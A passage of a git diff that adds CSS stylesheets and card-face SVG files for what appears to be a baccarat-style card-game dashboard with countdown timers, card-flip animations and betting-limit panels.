0; width: 80%; height: 88%; padding:6% 10% 0; background: rgba(0,0,0,0.5); z-index: 999;} +.iframe-box .title{text-align: center; font-size: 14px; position: relative; background:#fff; font-weight: normal; padding: 5px; border-bottom: 1px solid #ccc;} +.iframe-box iframe{width: 100%; min-height: 720px;} +.off-btn{position: absolute; right: -10px; top: -10px; width: 30px; height: 30px; text-align: center; line-height: 30px; border-radius: 100px; background: #fff; -webkit-box-shadow: 0px -2px 6px rgba(0, 0, 0, 0.45); box-shadow: 0px -2px 6px rgba(0, 0, 0, 0.45);} +.section{ + min-height: 630px; +} +.section .head{ + height: 17vh; + background: url(../new_img/head_bg.png) repeat-x; + -webkit-background-size: auto 100%; + background-size: auto 100%; + border-radius: 10px; + /* border-left: 2px solid #4a4a46; + border-right: 2px solid #4a4a46;*/ + overflow: hidden; + display: table; + width: 100%; +} + +.section .head .logo{ + height: 100%; + /*background: url(../../hc-logo-1.png) center center no-repeat;*/ + width: 8vw; + -webkit-background-size: 8vw; + background-size: 8vw; + display: table-cell; +} + +.section .head .box{ + height: 100%; +} + +.section .head .box .date{ + float: right; + color: #fff; + font-size: 1vw; + padding-top: 2.5vh; + padding-right: 0.8vw; +} + +.section .head .box .list{ + display: table; + padding-top: 3.2vh; + width:100%; +} + +.section .head .box .list .item{ + color: #fff; + font-size: 28px; + font-weight: 500; + float: left; + padding-bottom: 2px; + +} + +.section .head .input-box{ + /*background: url(../new_img/input_box.png);*/ + -webkit-background-size: 100% 100%; + background-size: 100% 100%; + position: relative; + width: 28%; + padding-left:30px; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + margin-left: 0; +} + +/*.section .head .input-box:first-child{ + width: 35%; + margin-left: 0; +}*/ + + + +.section .head .input-box.m0{ + margin-right: 0; +} + +.section .head .input-box input{ + width: 100%; + height: 100%; + background: #f00; + color:#fff; + font-size:24px; + /*float: left;*/ + /*background: url(../new_img/input-bg.png);*/ + -webkit-background-size: 100% 100%; + background-size: 100% 100%; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + text-align: center; +} +.section .head .input-box label{ + position: absolute; + left: 5px; + top: 0; + vertical-align: middle; + text-shadow: 0px 1px 0px #6f493a; +} + +.section .head .box .list .date{ + width: 34%; + text-align: right; + line-height: 4.8vh; +} +.section .head .box .list .date p{ + display: inline-block; + width: 225px; + text-align: left; +} +.section .head .box .list .date span{ + background: #ab7963; + padding: 0 5px; +} + +.section .head .box .list .notice{ + height:4.2vh; + line-height: 4.2vh; + background: #606463; + border-radius: 5px; + color: #fff; + overflow: hidden; + width: 100%; + position: relative; + +} + + +.notice .scroll{ + overflow: hidden; + position: absolute; +} +.notice .scroll ul{ + width: 200000px; +} + +.notice .scroll ul li{ + float: left; + color:#ddd; + font-size: 15px; + padding: 0 20px; + font-weight: 500; +} + + + +.canvas-box{ + border: 2px solid #87756c; + background: #4a3d3a; + border-radius: 5px; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + padding: 5px; + position: relative; +} + +.canvas-box.small{ + height: 27.9vh; + margin-bottom: 0.5vh; + min-height: 150px; + position: relative; +} +.canvas-box.big{ + height: 31vh; + min-height: 200px; +} + + +.canvas-box .item:last-child{ + margin-top: 5px; +} + + +.footer{ + display:table; + width: 100%; +} + +.footer .askbox{ + width:140px; + display: table-cell; + vertical-align: middle; + background-color: #ae7c67; + border-left: 2px solid #2a1606; + border-right: 2px solid #2a1606; + border-top: 2px solid #87756c; + border-bottom: 2px solid #87756c; + border-radius: 5px; + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + padding: 5px; + position: relative; +} + +.footer .askbox .item{ + width:70px; + font-size: 35px; + font-weight: bold; + color: #2a1606; + display: table-cell; + padding-top: 20px; +} +.footer .askbox .item .box{ + width: 50px; + margin: 0 auto; + line-height: 1; + text-align: center; + text-shadow:0px 0px 1px #000 +} + +.footer .askbox strong{ + display: block; + font-weight:bold; + padding-top: 15px; +} + + +.footer .askbox .tip{ + display:block; + width:35px; + height:35px; + vertical-align: top; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + margin:8px auto; + display: none; + position:relative; +} + +.footer .askbox .circle{ + border-radius: 100%; + border: 5px solid #000; +} + + +.footer .askbox .round{ + background: #000; + border-radius: 100%; +} + +.footer .askbox .bar:after{ + top: -1px; + left: 12px; + content:""; + position: absolute; + width:6px; + height:40px; + background: #000; + -webkit-transform: rotate(45deg); + -moz-transform: rotate(45deg); + filter: progid:DXImageTransform.Microsoft.BasicImage(Rotation=0.45); +} + +.footer .askbox .bar.red:after{ + background:#b20a00; +} + +.footer .askbox .bar.blue:after{ + background:#0543bc; +} + + + + + + + + + + +.footer .canvas-box{ + display: table-cell; + vertical-align: middle; +} + +.canvas-box canvas{ + background: #fff; + width: 100%; + height: 100%; + display: block; +} + + +.table-data{ + display: table-cell; + background: url(../new_img/table-bg.jpg) repeat-x; + border-radius: 5px; + -webkit-background-size: auto 100%; + background-size: auto 100%; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + min-height: 200px; + height: 40vh; + margin-left: 0; + min-width: 560px; + width: 34vw; + vertical-align: middle; +} + +.table-data .hd{ + height: 16vh; + background-color: pink +} + + + + + +.table-data .title{ + width: 100%; + display: table; + text-align: center; + +} +.table-data .title li{ + display: table-cell; + color: #3c180a; + width: 16%; + position: relative; +} +.table-data .title li:after{ + content: ""; + border-left: 1px solid #e8ccbf; + height: 30px; + position: absolute; + right: 0; + top: 50%; + margin-top: -15px; +} +.table-data .title li:last-child:after{ + border: none; +} + +.table-data .title li>*{ + display: block; +} +.table-data .title li strong{ + font-weight: 600; + font-size: 18px; + text-shadow: 0px 1px 0px #fff; +} +.table-data .title li small{ + font-size: 12px; + font-weight: 500; +} + +.table-data .top{ + /*background: #fff;*/ + width: 100%; + display: table; + text-align: center; + margin: 0 auto; + border-radius: 2px; + /*margin-top: 0.8vh;*/ + line-height: 3vh; + font-weight: 500; + /*-webkit-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + -moz-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset;*/ + + +} +.table-data .top span{ + display: table-cell; + color: #3c180a; + width: 16%; + font-weight: 600; +} + + + +.table-data .limit-box{ + /*width: 100%;*/ + padding: 0 3%; + position: relative; +} + + +.table-data .lan-box{ + padding-top: 1vh; + text-align: center; + line-height: 3vh; +} +.table-data .lan-box .item{ + width: 50%; + color: #3c180a; + font-weight: 600; +} +.table-data .lan-box .item span { + font-weight: 600; +} +.limit-box .list{ + padding: 0.6vh 0; + padding-left: 50px; + position: relative; + font-size: 14px; + color: #3c180a; + line-height: 4vh; + font-weight: 500; +} + +.limit-box .list .lab{ + position: absolute; + left: -20px; + top: 0; + text-align: center; + margin:0.6vh 0; + font-weight: 600; + font-size: 16px; + width: 70px; + color: #FFFFFF; + background-color: #2a1606; +} + + +.limit-box .list .item{ + background: #fff; + width: 48%; + border-radius: 2px; + padding: 0 10px; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + -webkit-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + -moz-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + font-weight: 800; +} +.limit-box .list .item small{ + font-size: 12px; + font-weight: normal; + font-weight: 800; +} +.limit-box .list .item span{ + font-size: 13px; +} + + + +.control-box{ + position: fixed; + right: -410px; + top: 19vh; + background: rgba(21, 34, 34, 0.71); + width: 410px; + height: 60vh; + text-align: center; + z-index: 1000; +} +.control-box .slide-btn{ + opacity: 0; + background: rgba(21, 34, 34, 0.71); + position: absolute; + height: 65px; + border-radius: 100px 0 0 100px; + width: 30px; + left: -35px; + top: 50%; + margin-top: -32.5px; + cursor: pointer; + color: #ddd; + line-height: 65px; + font-size: 20px; + padding-left: 5px; +} + + +.control-box .btn-box1{ + padding: 7vh 0; +} +.control-box .btn-box1 span{ + cursor: pointer; + width: 110px; + height: 35px; + display: inline-block; + margin:0 10px ; + line-height: 35px; + color: #fff; + font-weight: 500; + font-size: 16px; + border-radius: 5px; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); +} + + +.control-box .btn-box2 span{ + cursor: pointer; + display: inline-block; + width: 60px; + height: 30px; + line-height: 30px; + color: #fff; + background: #c0bbbb; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 16px; + -webkit-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box2 span.on{ + background: #0b6140; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset, 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset, 0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box3{ + padding: 5vh 0; +} +.control-box .btn-box3 span{ + cursor: pointer; + display: inline-block; + width: 160px; + height: 35px; + line-height: 35px; + color: #fff; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 16px; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box4 span{ + display: inline-block; + width: 60px; + height: 30px; + line-height: 30px; + color: #fff; + background: #a07667; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 12px; + -webkit-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + cursor: pointer; +} +.control-box .btn-box1 span:active, +.control-box .btn-box3 span:active, +.control-box .btn-box4 span:active{ + opacity: 0.7; +} +.control-box .green_bg{ + background: #0b6140; +} +.control-box .red_bg{ + background: #7a1e1e; +} +.control-box .btn-box5{ + padding: 2vh 0; +} +.btn-box5 .currencyBox +{ + color: #fff; + font-size: 16px; +} +.btn-box5 .limitBox{ + color: #fff; + font-size: 16px; +} + + +.countdown{ + display: none; + position: absolute; + z-index: 999; + width: 210px; + height: 210px; + /*background: rgba(21, 34, 34, 0.71);*/ + bottom: 5px; + right: 5px; +} +.countdown .roll{ + position: absolute; + width: 180px; + height: 180px; + top:50%; + left: 50%; + margin-left: -90px; + margin-top: -90px; + + -webkit-animation: rotate 1s linear 1s 5 alternate; + animation: rotate 1s linear infinite; +} + + + + +.countdown .num{ + color: #fff; + font-size: 60px; + position: relative; + font-weight: 500; + z-index: 999; + text-align: center; + line-height: 210px; + text-shadow: 0px 1px 0px #555; +} + +.countdown .inner, .inner2 { + position: absolute; + width: 170px; + height: 170px; + border-radius: 170px; + overflow: hidden; + left: 50%; + top: 50%; + margin-top: -85px; + margin-left: -85px; +} +.countdown .inner { + opacity: 1; + background-color: #d4b0a3; + animation: second-half-hide 2s steps(1, end) infinite; +} +.countdown .inner2 { + opacity: 0; + background-color: #a9735f; + animation: second-half-show 2s steps(1, end) infinite; +} +.countdown .spiner, .filler, .masker { + position: absolute; + width: 50%; + height: 100%; +} +.countdown .spiner { + border-radius: 40px 0 0 40px; + background-color: #a9735f; + transform-origin: right center; + animation: spin 1s infinite linear; + left: 0; + top: 0; +} +.countdown .filler { + border-radius: 0 40px 40px 0; + background-color: #a9735f; + animation: second-half-hide 1s steps(1, end) infinite; + left: 50%; + top: 0; + opacity: 1; +} +.countdown .masker { + border-radius: 40px 0 0 40px; + background-color: #d4b0a3; + animation: second-half-show 1s steps(1, end) infinite; + left: 0; + top: 0; + opacity: 0; +} +.countdown .inner2 .spiner, .inner2 .filler { + background-color: #d4b0a3; +} +.countdown .inner2 .masker { + background-color: #a9735f; +} + + +/*结果弹窗*/ +.result-box{ + position: absolute; + z-index: 1000; + top: 0; + left: 0; + width: 1080px; + left: 50%; + top: 50%; + margin-left: -550px; + margin-top: -340px; + /* -webkit-animation: bounceIn .5s 0s ease both; + -moz-animation: bounceIn .5s 0s ease both;*/ +} + +.result-box.blink{ + -webkit-animation: bounceIn 1s 0s ease both infinite; + -moz-animation: bounceIn 1s 0s ease both infinite; +} + +.canvas-main{ + position: relative; +} + + + +/*自动翻牌*/ +.begincard{ + position: fixed; + width: 100%; + height: 100%; + top: 0; + left: 0; + background: rgba(0,0,0,0.5); + z-index: 999; + display: none; +} + +.begincard .box{ + position: absolute; + width: 732px; + left: 50%; + margin-left: -386px; + top:0%; + margin-top: -423px; + /*background:url(../img/border.png);*/ + background-size: 100% 100%; + background-color: rgba(0,0,0,0.5); + opacity: 0; +} + +.begincard .list{ + display: inline-block; + margin:50px; + vertical-align: middle; + margin-bottom: 20px; +} + +.begincard .list .card{ + width: 130px; + height: 180px; + display: inline-block; + border-radius: 3px; + background-color: #fff; + -webkit-box-shadow: 0 1px 1px rgba(0,0,0,.15); + box-shadow: 0 1px 1px rgba(0,0,0,.15); + position: relative; + font-size: 18px; + color: #000; + overflow: hidden; +} + +.begincard .list .draw .rotate{ + width: 94px; + height: 130px; + filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + display: none; +} + +.begincard .list .draw .card{ + width: 94px; + height: 130px; + font-size: 14px; + vertical-align: middle; +} + +.begincard .list .draw{ + text-align: center; + height:135px; + width: 264px; +} +.begincard .list .draw .text{ + font-size: 30px; + display: inline-block; + color: #fff; + vertical-align: top; + width:130px; + height:135px; + line-height: 135px; + font-weight: 500; +} + + +.begincard .card .topleft, .begincard .card .bottomright { + position: absolute; + text-align: center; + line-height: 1; + letter-spacing:-3px; + font-family: ubuntu condensed,sans-serif; + white-space: pre; + -webkit-transform: translate(-50%,0); + -moz-transform: translate(-50%,0); + -o-transform: translate(-50%,0); + -ms-transform: translate(-50%,0); + transform: translate(-50%,0); +} + +.begincard .card .topleft { + top: 8px; + left:7px; +} +.begincard .card .bottomright { + bottom: 8px; + right: 7px; + -webkit-transform: rotate(180deg) translate(-50%,0); + -moz-transform: rotate(180deg) translate(-50%,0); + -o-transform: rotate(180deg) translate(-50%,0); + -ms-transform: rotate(180deg) translate(-50%,0); + transform: rotate(180deg) translate(-50%,0); +} + +.begincard .list .draw .card .topleft { + top: 5px; + left:5px; +} +.begincard .list .draw .card .bottomright { + bottom: 5px; + right:5px; +} + +.begincard .list .card .face{ + /*background-image: url('../../faces/faces.png');*/ + height: 100%; + background-position: 50% 50%; + -webkit-background-size: 100% 100%; + -moz-background-size: 100% 100%; + background-size: 100% 100%; + background-repeat: no-repeat; +} + + +.begincard .list .card.begin{ + -webkit-backface-visibility: visible!important; + backface-visibility: visible!important; + -webkit-animation-name: flipInY; + animation-name: flipInY; + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite; + -webkit-animation-duration: 2s; + animation-duration: 2s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both +} + + + +.result_img{ + position: absolute; + z-index: 999; + top: 50%; + left: 50%; + width: 200px; + height: 128px; + margin-left: -100px; + margin-top:-128px; + -webkit-animation: bounceIn .5s 0s ease both; + -moz-animation: bounceIn .5s 0s ease both; + display: none; + +} + + +/*自动翻牌*/ +@-webkit-keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0 + } + 0%,40% { + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 40% { + -webkit-transform: perspective(400px) rotateY(-20deg); + transform: perspective(400px) rotateY(-20deg) + } + 60% { + -webkit-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotateY(-5deg); + transform: perspective(400px) rotateY(-5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +@keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0 + } + 0%,40% { + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 40% { + -webkit-transform: perspective(400px) rotateY(-20deg); + transform: perspective(400px) rotateY(-20deg) + } + 60% { + -webkit-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotateY(-5deg); + transform: perspective(400px) rotateY(-5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +@keyframes spin { + 0% { transform: rotate(360deg); } + 100% { transform: rotate(0deg); } +} +@keyframes second-half-hide { + 0% { opacity: 1; } + 50%, 100% { opacity: 0; } +} +@keyframes second-half-show { + 0% { opacity: 0; } + 50%, 100% { opacity: 1; } +} + +@-webkit-keyframes bounceIn { + 0% { + opacity: .8; + -webkit-transform: scale(0.5); + } + 100% { + opacity: 1; + -webkit-transform: scale(1); + } +} +@-moz-keyframes bounceIn { + 0% { + opacity: .8; + -moz-transform: scale(0.5); + } + 100% { + opacity: 1; + -moz-transform: scale(1); + } +} + +@media screen and (max-width: 1366px){ + .section .head .box .list .item{ + font-size: 22px; + } + .section .head .box .list .date p{ + width: 160px; + font-size: 13px; + } + .result-box { + width: 220px; + margin-left: -110px; + margin-top: -200px; + + } + .section .head .box .list .date span{ + padding-right: 0; + padding-left: 0 + } + +} +.update-ludan{z-index: 99999999; left: 38%; top: 30%; background:#fff; min-width:400px; min-height:142px; position: fixed; box-shadow: 1px 1px 50px rgba(0,0,0,.3); border-radius: 2px; display:none;} +.update-ludan-title{padding: 0 80px 0 20px; height: 42px; line-height: 42px; border-bottom: 1px solid #eee; font-size: 14px; color: #333; overflow: hidden; background-color: #F8F8F8; border-radius: 2px 2px 0 0;} +.update-ludan-content{padding-left:20px; padding-top:40px; padding-bottom:20px;} +.update-ludan-content select{border:1px solid #eee; padding:5px; min-width:260px;} +.update-ludan-win6{padding-left:20px; padding-top:0px; padding-bottom:20px;} +.update-ludan-footer{text-align:center; padding-bottom:30px;} +.update-ludan-footer a{display:inline-block; padding:7px 20px; cursor:pointer; border-radius: 2px;} +.update-ludan-footer #confirm_update_ludan{background:#33A3F6; color:#fff; border-color: #1E9FFF; background-color: #1E9FFF; margin-right:20px;} +.update-ludan-footer #cancel_update_ludan{border: 1px solid #dedede;} + + + + +/*胜派新样式*/ + + +.section .head{ + background-color: #1d2020; + height: 13vh; + position: relative; +} + +.section .head .logo{ + width: 8.5vw; + background-size: 7.5vw; +} + +.canvas-box.big{ + height: 40vh; +} + + + + + +.table-data .top span{ + font-size: 40px; +} +.table-data .lan-box{ + padding-top: 1vh; + padding-bottom: 0.8vh; +} +.table-data .lan-box .item{ + width:33.33%; + font-size: 18px; +} + +.table-data .title li strong{ + font-size: 28px; + font-weight: 700; + text-shadow: 0px 0px 2px #fff; + margin-top: 0.1vh; +} + +.section .head .box .list{ + padding-top: 20px; +} + +.limit-box .list .item span{ + text-align: left; + width: 100%; + font-size: 16px; + font-weight: 500; +} +.limit-box .list{ + padding-left: 80px; +} +.limit-box .list .lab{ + font-size: 20px; + width: 100px; + left: -3%; +} + +.countdown{ + /*background: url(../new_img/countdown.png) no-repeat center center;*/ + height: 100vh; + width: 60%; + overflow: hidden; + -webkit-background-size: 100%; + background-size: 100%; + position:absolute; + float: left; + display: block; + opacity: 0; + margin-left: 1vw; + top:50%; +} + +.countdown .num{ + line-height: 60vh; + font-size: 60vh; + color: #000000; + opacity: 0.4; +} + + + +.section .head .box .list .date span{ + margin-right: 10px; +} + +#language{ + width:120px; + height:35px; + border-radius:5px; + color:#fff; + padding: 0 15px; +} + + +/*--------c_new_index----------------*/ +.section .head { + /*background: linear-gradient(#694F1B,#EAB446,#EAB446,#694F1B);*/ + border-top: 2px solid #E8C3B0; + border-right: 2px solid #E8C3B0; + box-shadow: 1px 1px 50px #000; + border-radius: 5px; + width: calc(100% + 4px); + top: -15px; + left: -2px; +} +.section .head .logo { + height: 100%; + /*background: url(../../c_logo.png?v=1) center center no-repeat;*/ + width: 8vw; + -webkit-background-size: 8vw; + background-size: 8vw; + display: table-cell; +} +.section .head .box .date { + color: #fff; +} +.section .head .box .date span{ + color: #fff; + background: #916C23; + padding: 0 15px; +} +.table-data { + border: 2px solid #87756c; + /*background: linear-gradient(#694F1B,#694F1B,#EAB446,#AA8649,#C49B86,#463107,#C49B86);*/ +} +.table-data .top { + /*margin-top: 0.7vh;*/ +} +.table-data .lan-box .item small { + font-weight: 600; + font-size: 18px; +} +.table-data .lan-box { + padding-bottom: 0; + padding: 0.3vh 0 0.3vh; +} +.limit-box .list .item span { + font-weight: 1000; + font-size: 24px; + font-family: "微软雅黑"; +} diff --git a/public/static/handle/css/reset.css b/public/static/handle/css/reset.css new file mode 100644 index 0000000..0ac13dc --- /dev/null +++ b/public/static/handle/css/reset.css @@ -0,0 +1,124 @@ +/* +* @Author: Archen +* @Date: 2016-04-08 10:29:03 +* @Last Modified by: Archen +* @Last Modified time: 2016-04-22 13:24:16 +*/ +body,h1,h2,h3,h4,h5,h6,hr,p,blockquote,dl,dt,dd,ul,ol,li,pre,form,fieldset,legend,button,input,textarea,th,td{margin:0;padding:0;} +/* 酌情修改 */ +body { + font-family: "Lantinghei SC","Open Sans",Arial,"Hiragino Sans GB","Microsoft YaHei","微软雅黑",STHeiti,"WenQuanYi Micro Hei",SimSun,sans-serif; + -webkit-font-smoothing: antialiased; + -moz-font-smoothing: antialiased; + font-smoothing: antialiased; + font-smooth: always; +} +body { + font-size: 14px; + line-height: 1.42857143; + color: #333; +} + +/* 短引用的内容可取值:''或"" */ +q:before,q:after {content:'';} + +/* 缩写,图片等无边框 */ +fieldset,img,abbr,acronym {border: 0 none;} +abbr,acronym {font-variant: normal;} +legend {color:#000;} + +/* 清除特殊标记的字体和字号 */ +address,caption,cite,code,dfn,em,strong,th,var { +  font-weight: normal; +  font-style: normal; +} + +/* 上下标 */ +sup {vertical-align: text-top;} +sub {vertical-align: text-bottom;} + +/* 设置表格的边框被合并为一个单一的边框, 指定分隔边框模型中单元格边界之间的距离为0*/ +table { +  border-collapse: collapse; +  border-spacing: 0; +} + +/* 表格标题及内容居左显示 */ +caption,th {text-align: left;} +input,img,select,button {vertical-align:middle; border:none; text-decoration: none; outline:none;} + +/* 清除列表样式 */ +ol,ul {list-style: none;} + +/* 输入控件字体 */ +input,button,textarea,select,optgroup,option { + font-family:inherit; + font-size:inherit; + font-style:inherit; + font-weight:inherit; +} + +/* 标题元素样式清除 */ +h1,h2,h3,h4,h5,h6 {font-weight: normal; font-size: 100%; +} + +/* 链接样式,颜色可酌情修改 */ +del,ins,a {text-decoration:none; color: #555;} + +a:hover,a:active{color:#6DD1C1; text-decoration:none;} + +/* 鼠标样式 */ +input[type="submit"] {cursor: pointer;} +button {cursor: pointer;} +input::-moz-focus-inner { border: 0; padding: 0;} + +.clearfix{zoom:1;} +.clearfix:after{content:""; display:block; visibility:hidden; height:0; clear:both;} + +.fl{float:left;} +.fr{float:right;} + +.box-sizing{ + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; +} + +img { +/*width: 100%;*/ +height: auto; +width:auto\9; /* ie8 */ +-ms-interpolation-mode:bicubic;/*为了照顾ie图片缩放失真*/ +} +.transition{ + -webkit-transition: all 1s; + -moz-transition: all 1s; + -ms-transition: all 1s; + -o-transition: all 1s; + transition: all 1s; +} + +strong,h2{font-weight: normal;} +em,i{font-style:normal;} + +.table-box{ + display: table; + width: 100%; +} +.table-box .cell{ + display: table-cell; +} + +.noselect{ +-webkit-touch-callout: none; +-webkit-user-select: none; +-khtml-user-select: none; +-moz-user-select: none; +-ms-user-select: none; +user-select: none; +} + + + + + diff --git a/public/static/handle/faces/101.svg b/public/static/handle/faces/101.svg new file mode 100644 index 0000000..683e2b7 --- /dev/null +++ b/public/static/handle/faces/101.svg @@ -0,0 +1,16 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/102.svg b/public/static/handle/faces/102.svg new file mode 100644 index 0000000..bb08a86 --- /dev/null +++ b/public/static/handle/faces/102.svg @@ -0,0 +1,17 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/103.svg b/public/static/handle/faces/103.svg new file mode 100644 index 0000000..91b0f83 --- /dev/null +++ b/public/static/handle/faces/103.svg @@ -0,0 +1,18 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/104.svg b/public/static/handle/faces/104.svg new file mode 100644 index 0000000..44179d7 --- /dev/null +++ b/public/static/handle/faces/104.svg @@ -0,0 +1,19 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/105.svg b/public/static/handle/faces/105.svg new file mode 100644 index 0000000..e5e60a3 --- /dev/null +++ b/public/static/handle/faces/105.svg @@ -0,0 +1,20 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/106.svg b/public/static/handle/faces/106.svg new file mode 100644 index 0000000..ca73a46 --- /dev/null +++ b/public/static/handle/faces/106.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/107.svg b/public/static/handle/faces/107.svg new file mode 100644 index 0000000..521d1bc --- /dev/null +++ b/public/static/handle/faces/107.svg @@ -0,0 +1,22 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/108.svg b/public/static/handle/faces/108.svg new file mode 100644 index 0000000..195574c --- /dev/null +++ b/public/static/handle/faces/108.svg @@ -0,0 +1,23 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/109.svg b/public/static/handle/faces/109.svg new file mode 100644 index 0000000..b6a1752 --- /dev/null +++ b/public/static/handle/faces/109.svg @@ -0,0 +1,24 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/110.svg b/public/static/handle/faces/110.svg new file mode 100644 index 0000000..02c13d8 --- /dev/null +++ b/public/static/handle/faces/110.svg @@ -0,0 +1,25 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/111.svg b/public/static/handle/faces/111.svg new file mode 100644 index 0000000..885e931 --- /dev/null +++ b/public/static/handle/faces/111.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/112.svg b/public/static/handle/faces/112.svg new file mode 100644 index 0000000..c400c26 --- /dev/null +++ b/public/static/handle/faces/112.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/113.svg b/public/static/handle/faces/113.svg new file mode 100644 index 0000000..59e950d --- /dev/null +++ b/public/static/handle/faces/113.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/201.svg b/public/static/handle/faces/201.svg new file mode 100644 index 0000000..8a204e4 --- /dev/null +++ b/public/static/handle/faces/201.svg @@ -0,0 +1,16 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/202.svg b/public/static/handle/faces/202.svg new file mode 100644 index 0000000..834b8bf --- /dev/null +++ b/public/static/handle/faces/202.svg @@ -0,0 +1,17 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/203.svg b/public/static/handle/faces/203.svg new file mode 100644 index 0000000..badce9d --- /dev/null +++ b/public/static/handle/faces/203.svg @@ -0,0 +1,18 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/204.svg b/public/static/handle/faces/204.svg new file mode 100644 index 0000000..963895f --- /dev/null +++ b/public/static/handle/faces/204.svg @@ -0,0 +1,19 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/205.svg b/public/static/handle/faces/205.svg new file mode 100644 index 0000000..2c95079 --- /dev/null +++ b/public/static/handle/faces/205.svg @@ -0,0 +1,20 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/206.svg b/public/static/handle/faces/206.svg new file mode 100644 index 0000000..101655c --- /dev/null +++ b/public/static/handle/faces/206.svg @@ -0,0 +1,21 @@ + + + + Trim + 